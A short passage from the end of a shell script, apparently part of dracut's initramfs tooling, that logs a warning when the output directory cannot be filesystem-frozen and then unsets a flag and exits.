dinfo "dracut: warning: could not fsfreeze $(dirname "$outfile")" fi unset FSFROZEN fi fi exit 0
Close